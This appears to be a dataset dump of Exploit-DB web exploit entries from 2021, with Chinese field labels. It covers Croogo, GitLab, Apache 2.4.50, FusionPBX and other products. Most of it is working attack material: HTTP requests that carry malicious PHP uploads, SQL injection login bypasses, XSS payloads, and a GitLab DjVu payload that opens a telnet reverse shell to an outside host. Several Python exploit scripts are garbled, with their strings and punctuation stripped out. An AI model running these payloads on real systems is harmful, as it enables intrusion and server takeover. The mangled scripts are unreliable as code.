QLWD/code_shield huggingface dataset:
标题: Croogo 3.0.2 - Remote Code Execution (Authenticated) EDB-ID: 50570 CVE: 2021-44673 类型: WEBAPPS 平台: PHP 发布日期: 2021-12-06 漏洞利用脚本: # Exploit Title: Croogo 3.0.2 - Remote Code Execution (Authenticated)
# Date: 05/12/2021
# Exploit Author: Deha Berkin Bir
# Vendor Homepage: https://croogo.org/
# Software Link: https://downloads.croogo.org/v3.0.2.zip
# Version: 3.0.2
# Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3

==> Tutorial <==

1- Login with your privileged account.
2- Go to the 'Attachments' section. Directory is '/admin/file-manager/attachments'.
3- Click the 'New Attachment' button.
4- Choose a malicious php script and upload it.

########### EXAMPLE SOURCE CODE OF MALICIOUS PHP SCRIPT ####################
<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>
############################################################################

5- Click on the URL of malicious php script you uploaded.
6- The malicious PHP script will be executed.


==> HTTP Request (File Upload) <==

POST /admin/file-manager/attachments/add HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7028631106888453201670373694
Content-Length: 976
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/admin/file-manager/attachments/add
Cookie: csrfToken=bf693e75da3b8cfedb1e097485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb; CAKEPHP=do6gfdgwsl424dabvg1mqp9; GeniXCMS-pJSRyfdghoBRVTDlKhjklmkfhtkbup1r; PHPSESSID=gd59dfghhhg2n10amijq89hih
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_method"

POST
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_csrfToken"

bf693ebed78cee03265197aed57e994e70d7qwdfq231341234dsfasdf2397485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/octet-stream

<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>

-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_Token[fields]"

16ade00fae1eb7183f11fe75ed658ae4ec2a5921%3A
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_Token[unlocked]"


-----------------------------7028631106888453201670373694-- URL: https://www.exploit-db.com/exploits/50570
标题: Online Magazine Management System 1.0 - SQLi Authentication Bypass EDB-ID: 50561 CVE: 2021-44653 类型: WEBAPPS 平台: PHP 发布日期: 2021-12-03 漏洞利用脚本: # Exploit Title: Online Magazine Management System 1.0 -  SQLi Authentication Bypass
# Date: 01-12-2021
# Exploit Author: Mohamed habib Smidi (Craniums)
# Vendor Homepage: https://www.sourcecodester.com/php/15061/online-magazine-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/magazines_0.zip
# Version: 1.0
# Tested on: Ubuntu


# Description :

Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form.

# Request :

POST /magazines/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0)
Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/magazines/admin/login.php
Cookie: PHPSESSID=863plvf7rpambpkmk2cipijgra
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin


username='+or+1%3D1+limit+1+--+-%2B&password=aaaa URL: https://www.exploit-db.com/exploits/50561
标题: Online Pre-owned/Used Car Showroom Management System 1.0 - SQLi Authentication Bypass EDB-ID: 50560 CVE: 2021-44655 类型: WEBAPPS 平台: PHP 发布日期: 2021-12-03 漏洞利用脚本: # Exploit Title: Online Pre-owned/Used Car Showroom Management System 1.0 -  SQLi Authentication Bypass
# Date: 01-12-2021
# Exploit Author: Mohamed habib Smidi (Craniums)
# Vendor Homepage: https://www.sourcecodester.com/php/15067/online-pre-ownedused-car-showroom-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/used_car_showroom.zip
# Version: 1.0
# Tested on: Ubuntu

# Description :

Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form.

# Request :

POST /used_car_showroom/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0)
Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/used_car_showroom/admin/login.php
Cookie: PHPSESSID=v0h6049m9ppunsh8vtfc8oj4p5
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin


username='+or+1%3D1+limit+1+--+-%2B&password=aaaa

-- URL: https://www.exploit-db.com/exploits/50560
标题: Webrun 3.6.0.42 - 'P_0' SQL Injection EDB-ID: 50542 CVE: 2021-43650 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-11-23 漏洞利用脚本: # Exploit Title: Webrun 3.6.0.42 - 'P_0' SQL Injection
# Google Dork: intitle:"Webrun 3.6.0.42"
# Date: 23/11/2021
# Exploit Author: Vinicius Alves
# Vendor Homepage: https://softwell.com.br/
# Version: 3.6.0.42
# Tested on: Kali Linux 2021.3
# CVE: CVE-2021-43650

=-=-=-= Description =-=-=-=


Webrun version 3.6.0.42 is vulnerable to SQL Injection, applied to the P_0
parameter used to set the username during the login process.


=-=-=-= Exploiting =-=-=-=


In the post request, change the P_0 value to the following payload:
121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd


You will see some information like below:


interactionError('ERRO: sintaxe de entrada é inválida para tipo numeric:
\"qvvxq1qbzbq\"', null, null, null, '<b>


=-=-=-= POC =-=-=-=


If the return has the value 'qvvxq1qbzbq', you will be able to successfully
exploit this.


See an example of the complete POST parameter:


action=executeRule&pType=2&ruleName=GES_FLX_Gerar+Token+Dashboard&sys=GES&formID=8265&parentRID=-1&P_0=121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd&P_1=pwd URL: https://www.exploit-db.com/exploits/50542
标题: GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated) EDB-ID: 50532 CVE: 2021-22205 类型: WEBAPPS 平台: RUBY 发布日期: 2021-11-17 漏洞利用脚本: # Exploit Title: GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)
# Shodan Dork: https://www.shodan.io/search?query=title%3A%22GitLab%22+%2B%22Server%3A+nginx%22
# Date: 11/01/2021
# Exploit Author: Jacob Baines
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://gitlab.com/gitlab-org/gitlab
# Version: GitLab Community Edition and Enterprise Edition before 13.10.3, 13.9.6, and 13.8.8
# Tested on: GitLab Community Edition 13.10.2 and 13.10.1 (Ubuntu)
# CVE : CVE-2021-22205
# Vendor Advisory: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/
# Root Cause Analysis: https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=activityFeed

Code execution is the result of GitLab allowing remote unauthenticated attackers to provide DjVu files to ExifTool (see: CVE-2021-22204). As such, exploitation of GitLab takes two steps. First generating the payload and then sending it.

1. Generating the payload. This generates a DjVu image named lol.jpg that will trigger a reverse shell to 10.0.0.3 port 1270.

echo -e
"QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs="
| base64 -d > lol.jpg
echo -n 'TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$TF | sh 1>$TF' >> lol.jpg
echo -n
"fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg=="
| base64 -d >> lol.jpg

2. Sending the payload. Any random endpoint will do.

curl -v -F 'file=@lol.jpg' http://10.0.0.7/$(openssl rand -hex 8)

2a. Sample Output from the reverse shell:

$ nc -lnvp 1270
Listening on [0.0.0.0] (family 0, port 1270)
Connection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport
34836)
whoami
git
id
uid=998(git) gid=998(git) groups=998(git) URL: https://www.exploit-db.com/exploits/50532
标题: Bludit 3.13.1 - 'username' Cross Site Scripting (XSS) EDB-ID: 50529 CVE: 2021-35323 类型: WEBAPPS 平台: PHP 发布日期: 2021-11-17 漏洞利用脚本: # Exploit Title: Bludit 3.13.1 - 'username' Cross Site Scripting (XSS)
# Date: 19/10/2021
# Exploit Author: Vasu (tamilan_mkv)
# Vendor Homepage: https://www.bludit.com
# Software Link: https://www.bludit.com/releases/bludit-3-13-1.zip
# Version: bludit-3-13-1
# Tested on: kali linux
# CVE : CVE-2021-35323

### Steps to reproduce

1. Open login page http://localhost:800/admin/login;
2. Enter the username place ``admin"><img src=x onerror=alert(1)>``and enter the password
3. Trigger the malicious javascript code URL: https://www.exploit-db.com/exploits/50529
标题: Online Learning System 2.0 - Remote Code Execution (RCE) EDB-ID: 50526 CVE: 2021-42580 类型: WEBAPPS 平台: PHP 发布日期: 2021-11-16 漏洞利用脚本: # Exploit Title: Online Learning System 2.0 - Remote Code Execution (RCE)
# Date: 15/11/2021
# Exploit Author: djebbaranon
# Vendor Homepage: https://github.com/oretnom23
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/elearning_v2_0.zip
# Version: 2.0
# Tested on: Kali linux / Windows 10
# CVE : CVE-2021-42580

#!/usr/bin/python3
import os
import time
import argparse
 requests
 sys
 colorama  init
 colorama  Fore
 colorama  Back
 colorama  Style
initautoreset
 
 
banner
 
 parser  argparseArgumentParserepilog
 parseradd_argumentrequired
 parseradd_argumentrequired
 parseradd_argumentrequired
 my_arguments  parserparse_args
  my_arguments
 userpassw
  session
  url
  cookies
 url  my_argsurl
 session  requestsSession
 data  
   user
   passw
 
 
  response  sessionposturl  datadataverify
   ForeGREEN  
  cookies  responsecookiesget_dict
  
  requestsHTTPError  exception
  ForeRED  exception
  sysexit
login_with_sqli_login_bypass
 shell_namerenamed_shell
 
  payload 
     
     
     
     
     
     
    
     
     
     
       
  
  files  
    
    
     shell_name
     
     
     
  
  vunlerable_file  
  
  response_2  sessionposturl  vunlerable_filedatapayloadcookiescookiesfilesfiles
  
  rangee  my_args
   i  rangee
   
     requestsgeturl    i  allow_redirects  response3
        response3text  response3status_code  
        ForeGREEN    response3url 
      
       mode  writer
       writerwriteresponse3url
     
       ForeRED    response3url
    requestsHTTPError  exception2
    exception2
  requestsHTTPError  error
  error
 command  my_argscommand
  requestsgetresponse3urlreplacecommand  response4
  command
  timesleep
    StyleBRIGHT  ForeGREEN  response4text
main URL: https://www.exploit-db.com/exploits/50526
标题: PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF) EDB-ID: 50525 CVE: 2021-43617 类型: WEBAPPS 平台: PHP 发布日期: 2021-11-15 漏洞利用脚本: # Exploit Title: PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)
# Date: 14/11/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://laravel.com/
# Software Link: https://laravel.com/docs/4.2
# Version: Laravel Framework 8.70.1
# Tested on: Windows/Linux

# Description: We can bypass laravel image file upload functionality to upload arbitary files on the web server
# which let us run arbitary javascript and bypass the csrf token , For more information read this one https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b

# Steps to reproduce:
1- Use HxD tool and add FF D8 FF E0 at the very begining of your file
2- Use code below to bypass csrf token

ÿØÿà<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }
 //
    xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    // true on the end of here makes the call asynchronous
 //Edit the path as you want
    xhr.open("GET", "/image-upload", true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementsByTagName("input")[0];
            // Show the token
            alert("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}
getTokenJS();

var POST_URL="/"
getTokenJS();

</script>
</html>

3- Save it as Html file and upload it. URL: https://www.exploit-db.com/exploits/50525
标题: Simple Subscription Website 1.0 - SQLi Authentication Bypass EDB-ID: 50522 CVE: 2021-43140 类型: WEBAPPS 平台: PHP 发布日期: 2021-11-15 漏洞利用脚本: # Exploit Title: Simple Subscription Website 1.0 - SQLi Authentication Bypass
# Exploit Author: Daniel Haro (Dirox)
# Vendor Homepage: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html
# Software Link: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html
# Version: Simple Subscription Website 1.0
# Tested on: Windows, xampp
# CVE: CVE-2021-43140

- Description:
SQL Injection vulnerability exists in Sourcecodester. Simple Subscription Website 1.0. An account takeover exists with the payload: admin' or 1=1-- -

PoC:

POST /plan_application/Actions.php?a=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/plan_application/admin/login.php
Cookie: PHPSESSID=lcikn75hk4lk03t5onj0022mj3

username=admin'+or+1%3D1--+-&password=admin'+or+1%3D1--+- URL: https://www.exploit-db.com/exploits/50522
标题: WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS) EDB-ID: 50520 CVE: 2021-24664 类型: WEBAPPS 平台: PHP 发布日期: 2021-11-15 漏洞利用脚本: # Exploit Title: WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS)
# Date: 20/08/2021
# Exploit Author: Davide Taraschi
# Vendor Homepage: https://wpschoolpress.com/
# Software Link: https://wpschoolpress.com/free-download/
# Version: up to 2.1.17 (non included)
# Tested on: Ubuntu 20.04 over WordPress 5.8 and apache2
# CVE : CVE-2021-24664

# Description:
The plugin sanitise some fields using a wordpress built-in function called sanitize_text_field() but does not correctly escape them before outputting in attributes, resulting in Stored Cross-Site Scripting issues.
The function wp_sanitize_text_field() escape < and > but does not escape characters like ", allowing an attacker to break a HTML input tag and inject arbitrary javascript.

# PoC:
As admin,
- Add a new teacher attendance (/wp-admin/admin.php?page=sch-teacherattendance), Tick the Absent box and put the following payload in the Reason: "style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another teacher attendance by clicking on the Add button

- Add a new Student Attendance (/wp-admin/admin.php?page=sch-attendance), tick the Absent box and put the following payload in the Reason: " style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another attendance by clicking the 'Add/Update' button

- Add a new Subject Mark Field (/wp-admin/admin.php?page=sch-settings&sc=subField) and put the following payload in the 'Field': " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the created Subject Mark (ie /admin.php?page=sch-settings&sc=subField&ac=edit&sid=3)

- Create a new Subject (/wp-admin/admin.php?page=sch-subject), with the following payload in the Subject Name field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Subject

- Create a new Exam (/wp-admin/admin.php?page=sch-exams) with the following payload in the Exam Name Field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Exam=20

Note that some of this XSS issues can be executed by a teacher (medium-privileged user), but since wordpress uses HTTPonly cookies is impossible to steal cookies. URL: https://www.exploit-db.com/exploits/50520
标题: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3) EDB-ID: 50512 CVE: 2021-42013 2021-41773 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-11-11 漏洞利用脚本: # Exploit Title: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
# Date: 11/11/2021
# Exploit Author: Valentin Lobstein
# Vendor Homepage: https://apache.org/
# Version: Apache 2.4.49/2.4.50 (CGI enabled)
# Tested on: Debian GNU/Linux
# CVE : CVE-2021-41773 / CVE-2021-42013
# Credits : Lucas Schnell


#!/usr/bin/env python3
#coding: utf-8

 os
 re
 sys
 time
 requests
 colorama  ForeStyle


header    StyleRESET_ALL


 sysargv   
      
    sysexit

 
    
    timesleep
    sysexit

 urlcommandsession
    directory  mute_commandurl
    user  mute_commandurl
    hostname  mute_commandurl
    advise  ForeYELLOW  
    command  f    
    command  f
    req  requestsRequest urlurl datacommand
    prepare  reqprepare
    prepareurl  url  
    response  sessionsendprepare timeout
    output  responsetext
    output
       command
        ossystem
        header
       command
        end

 urlcommand
    session  requestsSession
    req  requestsRequest urlurl dataf
    prepare  reqprepare
    prepareurl  url  
    response  sessionsendprepare timeout
     responsetextstrip


 payload
    s  requestsSession
    
        host  sysargv
            host
            url   host  payload
        
            url  host  payload 
        session  requestsSession
        command  
        req  requestsRequest urlurl datacommand
        prepare  reqprepare
        prepareurl  url  
        response  sessionsendprepare timeout
        output  responsetext
           output
            choice  
             ForeGREEN    host
              ForeYELLOW  output 
            choice  ForeCYAN  
             choicelower  
                 
                    commandsurlcommandsession  
            
                end       
         
            ForeRED    host
     KeyboardInterrupt
        end

 
    
        apache2449_payload  
        apache2450_payload  
        payloads  apache2449_payloadapache2450_payload
        choice  payloads  
        header
        
         choice  payloads  choice  
            choice  
             choice  payloads
                exploitRCEpayloadschoice
     KeyboardInterrupt
            
            timesleep
            sysexit

 __name__  
    main URL: https://www.exploit-db.com/exploits/50512
标题: FormaLMS 2.4.4 - Authentication Bypass EDB-ID: 50513 CVE: 2021-43136 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-11-11 漏洞利用脚本: # Exploit Title: FormaLMS 2.4.4 - Authentication Bypass
# Google Dork: inurl:index.php?r=adm/
# Date: 2021-11-10
# Exploit Author: Cristian 'void' Giustini @ Hacktive Security
# Vendor Homepage: https://formalms.org
# Software Link:  https://formalms.org
# Version: <= 2.4.4
# Tested on: Linux
# CVE : CVE-2021-43136

# Info: An authentication bypass issue in FormaLMS <= 2.4.4 allows an attacker to bypass the authentication mechanism and obtain a valid access to the platform.

# Analysis:
httpsbloghacktivesecuritycomindexphpcveformalmstheevildefaultvaluethatleadstoauthenticationbypass


httpsgistgithubcomhacktivesecd2160025d24c5689d1bc60173914e004





 sys
 time
 hashlib

secret   

  

  f

  sysexit

 
 sysargv  

    

user url  sysargv sysargv
t  timetime  
token  hashlibmd5fencodehexdigestupper
final_url  f
f
token  hashlibmd5fencodehexdigestupper
final_url  f
f URL: https://www.exploit-db.com/exploits/50513
标题: FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50505 CVE: 2021-43405 类型: WEBAPPS 平台: PHP 发布日期: 2021-11-08 漏洞利用脚本: # Exploit Title: FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated)
# Date: 11/08/2021
# Exploit Author: Luska
# Vendor Homepage: https://www.fusionpbx.com/
# Software Link: https://github.com/fusionpbx/fusionpbx
# Version: < 4.5.30
# Tested on: Debian
# CVE : CVE-2021-43405

#!/usr/bin/python3
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import argparse


cookies   
proxy   

 url username password
    data  
         username
         password
    
    r  requestsposturl   datadata cookiescookies
     rstatus_code

 url cmd
    
    mp_encoder  MultipartEncoderfields    f     
    r  requestsposturl   cookiescookies headers mp_encodercontent_type datamp_encoder proxiesproxy
     rstatus_code

 url username password cmd
     loginurlusernamepassword  
        
        exploit_requesturl cmd
        
    
        

 __name__  
    parser  argparseArgumentParserdescription

    parseradd_argument metavar  required
    parseradd_argument metavar  required
    parseradd_argument metavar  required
    parseradd_argument metavar  required
    
    args  parserparse_args

    target  argst
    user  argsu
    password  argsp
    cmd  argsc

    exploittarget user password cmd URL: https://www.exploit-db.com/exploits/50505